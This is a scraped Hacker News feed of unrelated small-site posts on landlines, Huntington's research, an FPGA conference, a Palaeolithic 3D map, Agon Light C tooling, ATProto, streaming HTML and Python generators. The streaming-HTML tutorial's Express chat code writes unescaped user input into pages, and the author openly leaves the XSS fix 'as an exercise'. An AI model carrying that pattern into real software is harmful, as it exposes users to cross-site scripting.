    January 18, 2025 | https://broderic.blog/post/when-we-had-both-landlines-and-cellphones/ | archive.org

    Something I was just thinking about recently was our history of phones and how we used to all have a “home” phone. You know, just a phone that sits at home all day. A landline. Just about every home in America had one. Then suddenly cellphones came along, they got cheaper and cheaper until everyone had a flip phone in their pocket. And then one day, we each decided that there was no point in paying for a landline when we all had cell phones. But for most people, there was this brief period of time where we went about our days with both a landline and a cell phone. I would say between the years of 2008 - 2014 is when the majority of people were actively using both types of phones.

    I was pretty young during these years, but I do remember having a home phone. At this point, just about every home phone was wireless, although I do remember a friend or two still using an old, coiled wire, phone. I’d say I was part of the last generation to truly experience placing and receiving calls with a landline. When the phone rang, everyone knew, and we’d instantly look at the number to see who it was. Usually my mom or dad would pick it up. When calling friends, I would usually first have to speak with one of their parents. It was such a different experience from what are used to now.

    Another thing with home phones was that you could just call “home”. Like you weren’t really calling any specific person, you just wanted to call the household to see what was going on and talk to a person or two. I feel like when the landline was called it was more of an event. Every time that phone rang you always wondered who was calling, and who the call was for. Obviously with caller ID it kind of settled down some of the excitement of receiving a call. But still, getting a call from the landline felt much more exciting than receiving one from your cell phone.

    I find it interesting how something like the landline could so quickly vanish from our households. Landlines were a huge part of our everyday lives. It was our main form of communication for roughly 60 years. And looking back it seemed to just vanish in an instant. Although, it actually took many Americans multiple years to get rid of their landlines. Below is an image from the Washington Post that gives a great timeline of people ditching their landlines for just mobile phones:

    timeline of cell phone only adoption

    Here is the link to the article for more details.

    One thing you’ll notice from the timeline is that the Northeast took way longer than normal to get rid of their landlines, even after the widespread use of cell phones. Washington Post goes on to explain the reason behind this is that back when AT&T was broken up, NYNEX was formed to serve the northeast section of America. NYNEX later merged with Bell Atlantic. And then in 2000, Bell Atlantic acquired GTE, and together they formed Verizon. One of the smart moves Verizon had was to immediately run fiber optic cable all over the northeast section. Verizon then bundled phone, cable, and internet. And the Northeast was very early adopters of fiber optics. While most other areas were just switching from dial up to DSL, the northeast was doing just fine with fiber optic. And the Washington Post goes on to explain that most people ditch their landline during key internet upgrades. Well, for the northeast section, there wasn’t much upgrading to do since they had all adopted fiber optic cable. And since they were all upgraded in the mid 2000s, when landlines were still a thing, most people kind of just forgot about their landlines.

    I can only imagine what this graph looks like now. I’m sure there is a much darker blue coloring the nation. Another thing to note is that most of these “landlines” aren’t really landlines. They are just home phones with VoIP. Home phones using a POTS are pretty much dead at this point in time.

    Now I said earlier that the years 2008 - 2014 was the time when the majority of people used both types of phones. And I also know that cell phones have been a thing way way longer than 2008. But I would say that first, (after doing some very scientific research.) that up until the 2000s, cell phones weren’t really that common, they were mostly for just business use. And second, placing calls was freakin expensive. It was way, way, cheaper to use your landline than to eat up minutes on your cell phone. But, by around 2006 - 2008 cell phone plans were getting more affordable and cell coverage was also getting a lot better. As for saying landlines ended in 2014. I just feel like at the point in time most people just weren’t using them that often. Even though in the graph above it still looks like that. And I think that’s just because canceling your landline isn’t really a super quick thing to do. You have to call your provider and explain why you want it canceled. Why do all of that when you’re pretty much getting your landline for almost no extra cost since it was bundled with internet and cable? Another way to look at the graph is by seeing which areas had providers with more favorable bundling deals. Maybe some telecom companies were charging a stupid amount for landline, while others were including landline access at no extra cost. Thus, the incentives to cancel landlines were vastly different from area to area. I’d say the Northeast section is a great example of that.

    I guess for most people, this period of using landlines and cell phones simultaneously isn’t all that interesting. And I agree to some extent. I’m more interested in the fact that it was such a unique time in the history of not just telecom, but of human history. There will never be a time like that ever again. And it lasted for such a short period of time. In the blink of the eye we went from landlines and flip phones to just smart phones, with no home phones.

    I think a great show to observe this specific period of time is Breaking Bad. The show is set between 2008 - 2010 and uses both home phones and cell phones consistently throughout the series. It was probably one of the last shows to really show off the “home phone.” There are plenty of scenes where the answering machine is used. (Remember when you could hear someone leaving a voicemail in real time?) A great way to really view how we used to communicate. And not a bad show to watch either! 

    The first clip here in this video is a great example of the home phone:

    Another great explanation about this period of time is from none other than Louis himself. Taken from his comedy special Hilarious which was filmed in April of 2009:

    ]]>
    https://broderic.blog/post/when-we-had-both-landlines-and-cellphones/ hacker-news-small-sites-42748912 Sat, 18 Jan 2025 15:10:03 GMT
    <![CDATA[Copywriting in 4 Minutes]]> thread link) | @wifehow248
    January 18, 2025 | https://saasgrowthhq.com/copywriting-in-4-minutes/ | archive.org

    © 2025 SaaS Growth HQ. Built With Love ❤

    ]]>
    https://saasgrowthhq.com/copywriting-in-4-minutes/ hacker-news-small-sites-42748516 Sat, 18 Jan 2025 14:20:33 GMT
    <![CDATA[Why did the for loop stop running?]]> thread link) | @redmattred
    January 18, 2025 | https://www.codepuns.com/post/771931710974836736/why-did-the-for-loop-stop-running | archive.org

    ]]>
    https://www.codepuns.com/post/771931710974836736/why-did-the-for-loop-stop-running hacker-news-small-sites-42748474 Sat, 18 Jan 2025 14:14:57 GMT
    <![CDATA[Experts hail 'milestone' in study of the deadly Huntington's disease]]> thread link) | @adrian_mrd
    January 18, 2025 | https://www.abc.net.au/news/2025-01-18/huntingtons-disease-breakthrough-dna/104828820 | archive.org

    For many people, the symptoms of Huntington's disease will not begin to show for decades.

    The genetic disorder is incurable but it is not uncommon for sufferers to reach middle-age before the physical symptoms — loss of motor skills and bodily functions, mental decline, emotional changes and depression — begin to manifest.

    But buried deep in person's genetic code, mutations are building and repeating, accumulating until they reach a breaking point, when the fatal disease begins to show itself.

    Nerve cells in the brain then begin dying, leading to symptoms similar to motor neurone disease and Alzheimer's, often requiring constant care despite years of no apparent illness.

    But new research from MIT and Harvard has found why the deadly condition can lie dormant for decades, and offered a glimmer of hope on possible future treatment.

    The new findings are now making waves internationally, with an Australian expert describing it as "one of the more important studies in the history of Huntington's research".

    The genetic code that makes who we are

    DNA serves as a blueprint for every person on the planet, an instruction manual for how our body is made up — from eye colour to blood type to whether you can roll your tongue or not.

    DNA is made up of four bases — adenine (A), thymine (T), cytosine (C) and guanine (G) — and the sequence in which these four bases are placed determines who we are.

    These bases will sometimes form a sequence of three known as a triplet and one of these triplets, CAG, was identified in 1993 as being associated with Huntington's disease.

    Generic DNA

    The Huntington’s mutation involved a stretch of DNA that has the same three-letter sequences repeated over and over. (Pixabay)

    While everyone may have the CAG triplet, people with Huntington's disease have the sequence "repeated" more than 36 times in their DNA.

    These CAG triplets are constantly expanding in the genes of a person with the disease, slowly at first and then rapidly, repeating themselves and making copies of the same sequence..

    Much like a snowball might gather size and speed as it rolls down a hill, a cell might slowly repeat CAG triplets at first, gaining a few extra copies over decades until it gains momentum, doubling in a few short years.

    A diagram showing the genetic sequence of Huntington's disease

    People with Huntington's disease have many more repeat copies of the CAG protein, leading to eventual toxicity and cell death. (National Institute of Standards and Technology )

    And new research from MIT and Harvard shows that once this snowball effect gets big enough, it begins to destroy the nerve cells in the brain.

    Researchers took brain tissue from 53 people with Huntington's, using it to pinpoint the moment when nerve cells began to die.

    The breaking point for brain cells is 150

    Danny Hatters, who runs a research program at the University of Melbourne with a focus on Huntington's, called the new research a "milestone" for the scientific community.

    "I think it's one of the more important studies in the history of Huntington's research," Professor Hatters said.

    The research found cells only started dying when they reached a threshold of 150 repeat CAG copies, giving each brain cell what researchers refer to as a "ticking DNA clock".

    Alzheimer’s disease captured on an MRI

    As brain cells continually die, both physical and mental symptoms may begin to manifest, and then worsen. (Shutterstock: Atthapon Raksthaput)

    Once a cell has repeated the sequence 150 times or more, it reaches its breaking point, becoming toxic and rapidly deteriorating until death.

    "If you're born with 40 [repeats], having 40 is not enough to be damaging to your cells, but over time, 40 will become 50, will become 60, and eventually will become above 150," Professor Hatters said.

    "By the time the disease has led you to die, then in those brain cells that are dying very quickly, those repeats can be hundreds of repeats,

    "They can be anywhere upwards of 150, and that is a completely remarkable finding because it's the first time anyone has ever shown that."

    Once enough brain cells die, physical and mental symptoms will begin to manifest, a process that may have taken decades to come to the surface.

    Neurons

    Huntington's disease affects neurons in an area of the brain known as the striatum, a region that controls movement, (Gladstone Institute of Neurological Disease: Steven Finkbeiner)

    Professor Hatters said the exact mechanism of how cells were degenerating or dying was still unknown, it could be a defence mechanism from the body attempting to correct the vast amount of CAG copies it has made.

    "The machinery that appears to be trying to fix the problem is inadvertently, for some unknown reason, making it a lot worse," he said.

    "We could potentially suppress the effects of the repair … and this could be a new way to tackle the disease."

    A new window of opportunity for therapy

    Robert Handsaker is a staff scientist at the Broad Institute of MIT and Harvard and co-authored the new research.

    He said the discovery that cells only began to die at 150 repeats of the CAG protein means new treatments might be able to save cells before they ever reached that point.

    "You can think of the therapeutic approaches as trying to deal with the snowball once it's gotten fairly big, or you can try to head off the snowball when it's really small," Mr Handsaker said.

    "The protein isn't toxic at the very beginning of life, but it only becomes toxic later in life. This … creates a really large therapeutic window at which we can treat."

    More than 2,000 Australians are believed to have Huntington's disease — an inherited disorder.

    When a parent has the disease, each child has a 50 per cent chance of inheriting the mutation.

    An MRI of a brain with Huntington's disease

    An MRI of a brain, showing sections which have atrophied as Huntington's disease progresses. (Radiopaedia: Frank Gaillard)

    It means thousands more Australians could be at risk of developing the genetic condition.

    But the ramifications of the research could go even further, applying to a range of similar diseases that affect thousands of Australians such as Fragile X syndrome and Friedreich's ataxia.

    Study co-author Sabina Berretta said the possibilities were exciting for researchers.

    "There are several types of this particular disorder that are actually due to CAG repeats, it's just in different genes," Professor Berretta said.

    "It is possible that the same mechanism that we discover for Huntington's actually also plays a role in other brain disorders."

    ]]>
    https://www.abc.net.au/news/2025-01-18/huntingtons-disease-breakthrough-dna/104828820 hacker-news-small-sites-42748472 Sat, 18 Jan 2025 14:14:53 GMT
    <![CDATA[FPGA Conference in UK]]> thread link) | @checker659
    January 18, 2025 | https://www.adiuvoengineering.com/post/uk-fpga-conference | archive.org

    A few days ago, I posted on LinkedIn, X, and Reddit/fpga about the idea of hosting a UK FPGA conference later in the year. I believe there is a need for such an event, as there are several very successful ones in Germany (FPGA Conference), Norway (FPGA Forum), and Sweden/Denmark (FPGA World). It is something the UK lacks, and we have a vibrant FPGA community.

    Judging from the overall response to my posts, I think there is clear demand for a UK-based conference, so I am going to organize one.

    At the moment, here is what I have pulled together by talking to several people, vendors, and individuals with experience in putting on events like this:

    • Time Frame: To be confirmed, but it will likely be in late September or early October. This gives me time to organize the event and ensures it will occur after the summer vacations.

    • Duration: Initially, the conference will be one day. If it is successful, next year, I will look at holding it over two days if there is sufficient demand.

    • Location: London. This has been debated a lot, but it needs to be central with good public transport links.

    • Costs: I will try to keep the event as low-cost as possible. While I do not expect to make a profit, I would like to break even. Therefore, there will be a small attendance fee, under £100.

    • Vendor Exhibition: Of course, I want vendors and companies to attend to showcase their tools, boards, capabilities, etc. It’s a great opportunity for engineers to see demos and discuss their projects and needs.

    • Startup/User Exhibition: Got a cool FPGA startup project or side project you want to showcase and discuss? We will make sure there is space for you to display your work.

    • Tracks: The number of tracks will depend on how many people are prepared to speak. I want engaging talks on real-world FPGA projects, techniques, and solutions—not marketing pitches. I want attendees to leave having learned something useful for their day-to-day work. Potential areas of interest include:

      • Verification

      • Continuous Integration

      • Open Source

      • High Reliability: Aerospace, Automotive, Medical, Space, Security

      • High-Frequency Trading

      • RF Signal Processing

      • Image/Signal Processing

      • Control Techniques

      • Digital Power

      • Robotics

      • Unusual Use Cases of FPGAs

      • Working with Embedded Processors

      • AI/ML in the Real World (e.g., Anomaly Detection0

      • What do you want to speak about ?

    Of course, speakers will get free entry, and I will arrange some cool speaker gifts. At the very least, you will leave with an Adiuvo Embedded System Development Board.

    One important thing is to come up with a cool-sounding name for the event. So far, the shortlist includes:

    • FPGA Engage

    • FPGA Academy

    • FPGA Institute

    • Reconfigure UK

    • FPGA Fusion

    If you have any other suggestions, I would love to hear them. Let me know which one is your favourite.

    I want this to be the best FPGA conference possible, so that we can run learn and run it again in 2026. If you have suggestions for things you’d like to see at the event (e.g., an area with dev boards for experimenting), please let me know.

    If, after reading this, you are interested in attending, presenting, or having a stand, I am trying to gauge the level of interest and build a wait list of people interested. It will help me determine size, tracks, capacity, etc so please do reach out.

    Please drop me an email at adam@adiuvoengineering.com or use the contact form on the website to reach out, and I will get back to you soon.

    Once I have a final date and location, there will be an event website so we can keep everything focused.

    ]]>
    https://www.adiuvoengineering.com/post/uk-fpga-conference hacker-news-small-sites-42748448 Sat, 18 Jan 2025 14:12:22 GMT
    <![CDATA[World’s oldest 3D map discovered]]> thread link) | @geox
    January 18, 2025 | https://www.adelaide.edu.au/newsroom/news/list/2025/01/13/worlds-oldest-3d-map-discovered | archive.org

    Researchers have discovered what may be the world’s oldest three-dimensional map, located within a quartzitic sandstone megaclast in the Paris Basin.

    World’s oldest 3D map. Photo credit: Dr Médard Thiry

    View of the three-dimensional map on the Ségognole 3 cave floor. Credit: Dr Médard Thiry

    The Ségognole 3 rock shelter, known since the 1980s for its artistic engravings of two horses in a Late Palaeolithic style on either side of a female pubic figuration, has now been revealed to contain a miniature representation of the surrounding landscape.

    Dr Anthony Milnes from the University of Adelaide’s School of Physics, Chemistry and Earth Sciences, participated in the research led by Dr Médard Thiry from the Mines Paris – PSL Centre of Geosciences.

    Dr Thiry’s earlier research, following his first visit to the site in 2017, established that Palaeolithic people had “worked� the sandstone in a way that mirrored the female form, and opened fractures for infiltrating water into the sandstone that nourished an outflow at the base of the pelvic triangle.

    New research suggests that part of the floor of the sandstone shelter which was shaped and adapted by Palaeolithic people around 13,000 years ago was modelled to reflect the region’s natural water flows and geomorphological features.

    “What we’ve described is not a map as we understand it today — with distances, directions, and travel times — but rather a three-dimensional miniature depicting the functioning of a landscape, with runoff from highlands into streams and rivers, the convergence of valleys, and the downstream formation of lakes and swamps,� Dr Milnes explains.

    Image 2. World’s oldest 3D map discovered...

    Mapping of the cave floor with École River valley. Credit: Dr Médard Thiry

    “For Palaeolithic peoples, the direction of water flows and the recognition of landscape features were likely more important than modern concepts like distance and time.

    “Our study demonstrates that human modifications to the hydraulic behaviour in and around the shelter extended to modelling natural water flows in the landscape in the region around the rock shelter. These are exceptional findings and clearly show the mental capacity, imagination and engineering capability of our distant ancestors.�

    Thanks to his extensive research on the origins of Fontainebleau sandstone, Dr Thiry recognised several fine-scale morphological features that could not have formed naturally, suggesting they were modified by early humans.

    “Our research showed that Palaeolithic humans sculpted the sandstone to promote specific flow paths for infiltrating and directing rainwater which is something that had never been recognised by archaeologists,� Thiry says.

    “The fittings probably have a much deeper, mythical meaning, related to water. The two hydraulic installations — that of the sexual figuration and that of the miniature landscape — are two to three metres from each other and are sure to relay a profound meaning of conception of life and nature, which will never be accessible to us.�

    Image 4. World’s oldest 3D map discovered

    View of the three-dimensional map on the Ségognole 3 cave floor. Credit: Dr Médard Thiry

    Milnes and Thiry’s latest study, published in Oxford Journal of Archaeology, discovered the presence of three-dimensional modelling by closely examining fine-scale geomorphological features.

    “This completely new discovery offers a better understanding and insight into the capacity of these early humans,� Thiry says.

    Before this discovery, the oldest known three-dimensional map was understood to be a large portable rock slab engraved by people of the Bronze Age around 3000 years ago. This map depicted a local river network and earth mounds, reflecting a more modern map concept used for navigation.

    Dr Milnes says that collaborating across disciplines — such as archaeology, geology and geomorphology — is vital in science.

    “We believe the most productive research outcomes are found at the boundaries between disciplines,� Dr Milnes says.

    “Re-evaluating field studies and conducting frequent site visits are important. It’s clear from our ongoing project that insights and interpretations do not appear immediately but emerge through new observations and interdisciplinary discussions,� Dr Thiry suggests. 

    Media contacts:
    Anthony Milnes, School of Physics, Chemistry and Earth Sciences, The University of Adelaide. Mobile: +61 419 864 650. Email: anthony.milnes@adelaide.edu.au
    Dr Médard Thiry, Mines Paris – PSL Centre of Geosciences. Mobile: +33 6 80 36 13 55. Email: medard.thiry@free.fr

    Lara Pacillo, Media Officer, The University of Adelaide. Mobile: +61 404 307 302. Email: lara.pacillo@adelaide.edu.au

    ]]>
    https://www.adelaide.edu.au/newsroom/news/list/2025/01/13/worlds-oldest-3d-map-discovered hacker-news-small-sites-42748444 Sat, 18 Jan 2025 14:11:49 GMT
    <![CDATA[Agon Light C Development]]> thread link) | @AlexeyBrin
    January 18, 2025 | https://ncot.uk/agon-light-c-development/ | archive.org

    How to write code for the Agon Light (and Console8) using C instead of BASIC, under Linux. It might work with WSL2 in Windows, and it might work on a Mac.

    By the end of this you’ll end up with a fairly standard Linux C programming environment with a Makefile and all the usual trimmings.

    This mostly just combines the instructions from the AgDev github repo and some useful links. If you know where to look for this information it’s obvious and easy. If you try to find it using just Google, you’ll get lost. Just like how you got lost with the outdated documentation Olimex provide when you bought their version of the board and wondered if your firmware was outdated or not.

    Step 1 – Install the Compiler

    First we need the actual compiler. This is known as the CE C/C++ Toolchain and is actually indended for the TI-84 Plus calculator and some other calculators. They all use the eZ80 CPU, just like the Agon. It gets referred to as “CE Dev”.

    The compiler toolchain can be downloaded from this link. All I did was download the Linux tar.gz file and uncompress it. You don’t need to put it anywhere special, it doesn’t get “installed”, I just put it inside my home directory.

    Don’t forget to edit your shell to set the PATH variable correctly.

    Step 2 – Install the Agon Compiler Patches

    The next thing to do is adapt the toolchain so it can create code for the Agon Light. On the AgDev GitHub Repo is a very easy to follow readme that explains what to do. This is known as “AgDev”.

    All you do is clone the repo to your computer, the copy the contents of the “AgDev” folder right over the top of the compiler toolchain. If you end up with a folder inside the compiler toolchain’s folder called “AgDev”, you’ve done it wrong. Move everything up one directory.

    Step 3 – Profit! (or maybe create a template)

    If you want an easier life, go to my github repo and clone that. It does all the stuff below for you.

    The way this works is quite clever. Go into the AgExamples folder and there’s an example called “hello_world”.

    This is an excellent template folder to use for your own projects. It gives you all that is needed.

    Try it out, type “make”. It should work.

    Have a look in the Makefile, it’s suspiciously empty – all the important parts are included from another Makefile elsewhere.

    The Makefile is clever enough to compile anything in the “src” directory that is C, C++ or assembly source. You don’t need it hack it or make lists of source files to be compiled.

    If you know how, you can also freely mix C and assembly. Read the CE Dev compiler toolchain documentation, it explains a lot of its inner workings.

    You will also find an “invaders” demo, it uses C++ and mostly works but I think it’s a bit outdated compared to the Agon’s current firmware so some parts don’t work correctly. I wouldn’t write C++, stick to C.

    Step 4 – The Emulator

    There is an excellent emulator available, it works best in Linux. Grab it from the fab-agon-emulator GitHub repo.

    It’s written in Rust, you’ll need to work out how to install the Rust development system for your Linux distro. If parts of it fail to compile, you need to install Rust properly.

    The emulator has a fake SD card that presents itself as a folder. Copy your compiled binary into there, you can then boot the emulator and load your code.

    On a high DPI display you might need to set the scaling to something like 200% or the screen will be tiny.

    Where to go next

    The Agon’s VDP is programmed using printf. If you look at the Agon’s VDP documentation it’s almost identical to the BBC Micro’s VDU commands. The Agon Light documentation wiki is a place to go if you have a plain Agon Light running MOS.

    However, if you own a Console8 or have installed the Console8 firmware on your Agon Light, you’ll find the Console8 documentation more relevant. It also consistently spells “VDP” correctly 😉

    The compiler toolchain is a “proper” LLVM compiler toolchain, so modern code editors that work with the likes of GCC and so on will work with this, including understanding error messages and compiler errors.

    I use NeoVim, but you could probably use VS Code or anything else.

    ]]>
    https://ncot.uk/agon-light-c-development/ hacker-news-small-sites-42748409 Sat, 18 Jan 2025 14:06:55 GMT
    <![CDATA[I Make Smart Devices Dumber]]> thread link) | @smnrg
    January 18, 2025 | https://simone.org/dumber/ | archive.org

    Diogenes was knee-deep in a stream washing vegetables. Seeing him, Plato said, “My good Diogenes, if you knew how to pay court to kings, you wouldn't have to wash vegetables.” — “And,” replied Diogenes, “If you knew how to wash vegetables, you wouldn't have to pay court to kings.”

    I flipped the vacuum robot upside down on my desk, wheels in the air. A thousand dollar marvel of modern, rebranded AliExpress convenience. Ready to map my home, learn my patterns, and send data across continents. Behind every promise of convenience lie hidden costs we're only beginning to understand.

    My screwdriver hovered on its seams: These robots are not just about cleaning floors anymore, but drawing a line in the digital sand.

    In the rush to embrace smart devices, you accept a devil's bargain: convenience for surveillance, efficiency for privacy. Homes become frontiers in the attention wars—each gadget a potential Trojan horse of data collection, promising easier lives.

    The DIY movement has evolved far beyond fixing broken toasters. Some, like the devs of Valetudo, are digital rights advocates armed with soldering irons and software. Their work challenges the invisible monopolies that shape our relationship with technology. They're not just fixing devices: They are liberating those from adware and behavioral data harvesting. Each freed device marks a small victory in a conflict most people don't even realize they're in.

    Navy Pier Ferris Wheel, Afro Hair, Kid Statue, Chicago, Black and White Fine Art Photo.
    ✨ Buy Limited Edition of 100 “Ferris Wheel”

    Keep the Bots Away

    Join me in preserving a human-crafted pocket of web on the Internet. No content is paywalled, and no paid subscription is solicited: this is the most effective way to keep bots and “AI” scrapers away while becoming part of a small community celebrating human writing, photography, and conversation.

    I get it, here's my email

    Already joined? Sign In

    ]]>
    https://simone.org/dumber/ hacker-news-small-sites-42748212 Sat, 18 Jan 2025 13:35:18 GMT
    <![CDATA[ATProto and the ownership of identity]]> thread link) | @icy
    January 18, 2025 | https://anirudh.fi/blog/identity/ | archive.org

    18 Jan, 2025

    The new age of social-enabled apps

    atproto is very exciting to me as it’s the perfect abstraction between the identity and user data layer, and the application layer. Compare that to the fediverse and some striking differences become apparent.

    On the fediverse, your application—Mastodon, Pleroma, WriteFreely, whatever—and your user account are tied together. Your presence on say fosstodon.org isn’t the same as what you’d use on Lemmy. This is partially due to both services implementing entirely different schemas of the ActivityPub spec1, and due to how AP addressing works: so @user@fosstodon.org is fundamentally distinct from @user@lemmy.ml.

    atproto solves this using Personal Data Servers (PDS)2 and domain-based identities. This now allows for two levels of ownership:

    1. Ownership of identity: Use your own domain and now that’s your account across all of atproto.
    2. Ownership of data: Run your own PDS and store all of your data yourself.

    Thanks to this, users can re-use the same DID across other apps built on atproto. Consequently, new social apps have their two biggest problems solved for free:

    1. The need for a new account (for users), and
    2. The social graph.

    This paves the way for all kinds of new “social-enabled” services to emerge: forums, long-form writing, and potentially even more complex ones like code forges and more—all sharing the same account. The same behavior is rather cumbersome in the above fediverse model because of poor interoperability and lack of unified identity.

    Further, the separation of the app and user layers now allows for building “apps” that are viable businesses. The app layer can be a monetized service much like Bluesky’s supposed “premium” model that’s in the works. This is a good thing—a financially viable open network is one that sticks around longer.

    There’s also signs of early VC interest in atproto. skyseed.fund is a fund focused solely on backing atproto projects. I predict this is the first of many. Given that building on atproto is so much easier than building a traditional social app from ground up, startups here can be small and scrappy without needing much seed capital to take off. Bluesky already having done the hard part of acquiring its 27M strong userbase, as of this writing, is the icing on the cake.

    So yes, bottom line, I think atproto has a promising future. There’s a ton of cool stuff being built atop it already and as the network and protocol improve, I predict a new age of social apps with user-owned identity at its core.

    Questions or comments? Send an email.

    ]]>
    https://anirudh.fi/blog/identity/ hacker-news-small-sites-42748101 Sat, 18 Jan 2025 13:15:22 GMT
    <![CDATA[The Cursed Art of Streaming HTML]]> thread link) | @todsacerdoti
    January 18, 2025 | https://rinici.de/posts/streaming-html | archive.org

    Published by rini

    When I talk about streaming HTML, I am not talking about incrementally requesting HTML to hydrate a page, or whatever the fancy thing is web frameworks do nowadays—no, I am talking about streaming an actual HTML response, creating live updates much like a WebSocket (or actually just an SSE) does, without the need for any JavaScript.

    Turns out, it's really easy to do! Basically every single web browser (even ancient ones) will request HTML with Connection: keep-alive, which means you get to be as slow as you want responding!

    Realistically, this can be used to make sure the most important parts of the page are loaded first,1 while the rest is loaded later. While mostly forgotten, it's already been explored a bunch. Here, we'll be looking into a more interesting use-case: real-time applications!

    Real-time chat, sans JS

    For a live version of this, check the home page! The source code of this example can also be found here.

    Here's a simple webpage to get started with. We'll be embedding the magic chat endpoint into an iframe, and have a little form to send messages:

    <!doctype html>
    <html lang="en">
      <h1>hello, chat!</h1>
      <iframe src="/chat/history" frameborder="0"></iframe>
      <form method="post" action="/chat/history">
        <input id="text" name="text" placeholder="Send a message...">
      </form>
    </html>

    Well... this doesn't actually work as intended, because sending a message causes the page to reload. Does anyone even still use no-JS forms? It's such a pain. Anyways, we could avoid reloading the page by setting a target, but lets go a step further and make the chatbox another iframe:

    index.html:

    <iframe src="/chat/history" frameborder="0"></iframe> <hr>
    <iframe src="/chat" frameborder="0"></iframe>

    chat.html:

    <form method="post" action="/chat/history">
      <input id="text" name="text" placeholder="Send a message...">
    </form>

    This has the cursed bonus of automatically clearing the form, and now you wont lose chat history!

    So, how do we stream HTML? It's no magic, it works exactly how you'd implement SSEs or WebSockets. In Node frameworks, it's res.write(), in Sinatra, it's stream, in Actix, it's HttpResponse::streaming(), etc etc.

    Here, we'll be using Express, simply because it's probably the most universally known framework. I actually have this website in Haskell, which if you're in to read some unholy code you can do so here. We'll also use an EventEmitter to send messages to clients. In a better language, this would be a proper broadcast channel, but oh well.

    const chat = new EventEmitter()
    
    app.get("/chat/history", (req, res) => {
      res.set("Content-Type", "text/html")
      res.write("<!doctype html>")
      res.write("<meta charset=utf-8>")
      res.write("<body><ul>")
    
      chat.on("message", (text) => {
        res.write("<li>" + text)
      })
    })

    That's a resource leak. Okay, let's try:

    app.get("/chat/history", (req, res) => {
      // ...
    
      const listen = (text) => res.write("<li>" + text)
    
      chat.on("message", listen)
      res.on("close", () => chat.off("message", listen))
    })

    How to avoid XSS is left as an excercise for the reader. Now, to receive messages:

    app.use(express.urlencoded({ extended: true }))
    
    app.post("/chat/history", (req, res) => {
      chat.emit("message", req.body.text)
      res.redirect("/chat#text")
    })

    And there's another neat trick: by redirecting to /chat#text, the textbox is automatically focused. Add cache and you can't even tell the thing is an iframe!

    Conclusion

    Oh my god the page doesn't finish loading

    If you actually try this code now, you'll see the page just... doesn't finish loading. Probably because we don't actually close it. So, uh, I actually don't know how to fix this for now, if you do figure it out, shoot me a DM or email!

    • loading="lazy". In theory should delay loading of the iframe, making it not count into page load, but doesn't do anything, and wouldn't work with JS disabled.

    My solution for now is to have a short snippet to trick the browser into loading the page. Sadly, this means a little JS is necessary. But hey, it's actually fully functional without it, yay for progressive-enhancement!

    <script>
    chat.src = ""
    setTimeout(() => chat.src = "/chat/history", 300)
    </script>

    1. As does eBay! Async Fragments: Rediscovering Progressive HTML Rendering with Marko.↩︎

    ]]>
    https://rinici.de/posts/streaming-html hacker-news-small-sites-42747973 Sat, 18 Jan 2025 12:51:06 GMT
    <![CDATA[Generators vs. list comprehensions with join() in Python]]> thread link) | @fanf2
    January 18, 2025 | https://berglyd.net/blog/2024/06/joining-strings-in-python/ | archive.org

    The Python logo with it's yellow and blue snake, with some Python code on the right

    Image Credit: Python Foundation (Logo)

    I just love it when random conversations on Mastodon result in a “Huh, I didn’t know that”-moment. The other day I had one such moment about the Python programming language.

    I’ve been writing Python code for the last 17 years, and quite a lot of it the last 7 years since it is now more or less my full time job. While I still learn things all the time about the language, I’ve started to get more curious about its quirks and surprises. CPython is the official implementation, but there are also others. This blog post is mainly about CPython.

    Joining Strings in Python

    Anyway. This whole thing started with a post where someone was showing a few neat tricks in Python, one involving changing line breaks in a piece of text using the standard str.join() method.

    The straight forward way of joining strings in Python is to just add them to each other using the + operator. But Python strings are immutable, that is, you cannot change a string once it’s been created. So adding them involves creating new strings all the time, which is inefficient when doing so in long loops.

    Instead, you can append the strings to a list. Then you simply join them all at the end using the str.join() method. This is faster, and I use this a lot when I for instance generate HTML in Python.

    Python also has generators, which is a way of iterating over an object without first storing the entire sequence in memory. This is efficient when you for instance want to loop over a sequence of numbers, which can be done with the range() function. It knows what the next number is, so it calculates it on the fly. It is also efficient if you want to read all lines from a file, one line at a time.

    Here’s an example where I remove all lines starting with # from a text file:

    f = open("input_file.txt")
    filtered_text = "\n".join(x for x in f if not x.startswith("#"))
    

    This is the “text book solution”. What this does is to iterate over all lines x in the file, and only include the ones not starting with #. These are then joined with an \n character between them into a new string, where \n is the Unix line break character.

    Generators vs. List Comprehension

    Another nifty feature of Python is list comprehension, which is an inline notation for generating lists. It uses the same syntax as a generator, but inside a pair of brackets. So the above may instead be written as:

    f = open("input_file.txt")
    filtered_text = "\n".join([x for x in f if not x.startswith("#")])
    

    Notice the extra brackets inside the parentheses, which is the only difference.

    A lot of people new to Python may have learned about list comprehension but not always about generators, so the above code is quite common. But which one is the preferred solution in this specific case?

    This whole conversation started when I pointed out on Mastodon that these brackets are redundant. That’s when Trey Hunner, a Python educator, jumped in and pointed out that this is not necessarily the case for str.join()!

    Ok!

    Let’s for a moment ignore both the join() part as well as the file reading, and assume we have a variable data that is an iterable of some sort that contains a copy of the text we want to process. Like, say another list or a generator.

    You can create a new generator and list object from data thusly:

    >>> a = (x for x in data)
    >>> type(a)
    generator
    
    >>> b = [x for x in data]
    >>> type(b)
    list
    

    Depending on what data actually is, this may not actually make any sense to do, but the point here is merely to illustrate. Here are some key points:

    1. The first code creates a “Generator” object a. A generator here will only return one value at a time, and extracts this from data only when requested. If data is representing f (an open file), like above, this will only read one line from the file at a time, and not the entire file. This is memory efficient, although buffering will kick in and generally keep the text already read cached until you call f.close().
    2. The second code creates a regular Python list, which will read the entire content of data into that list, thus storing all of it in memory.

    I have a stress test document I often use for testing my writing application. It is a single Markdown file containing the King James version of the bible. It is over 800 000 words long, so about 8–10 novels worth, or in the ball park of 2500–3000 pages.

    For the sake of testing, I created a document where the text is repeated over and over until it adds up to 200 million words. Then I ran the following code to see how it uses my computer’s memory. I added a two second gap between each step so it’s easier to see the flat regions in the memory usage graph.

    data = Path("long.txt").read_text().split()
    sleep(2)
    a = (x.lower() for x in data)
    sleep(2)
    b = [x.lower() for x in data]
    sleep(2)
    data.clear()
    

    Here is the result:

    The graph is increasing during the reading phase, not reaction for the generator, increasing again for the list, and dropping when clearing.

    A memory plot showing the memory usage for the four steps in the test.

    My computer has 64 GB of RAM. Even though the text file is only about 1 GB, it expands to over 14 GB in memory when split into individual words. That is because a string in Python is an object with a fair bit of meta data in addition to the actual text characters it contains.

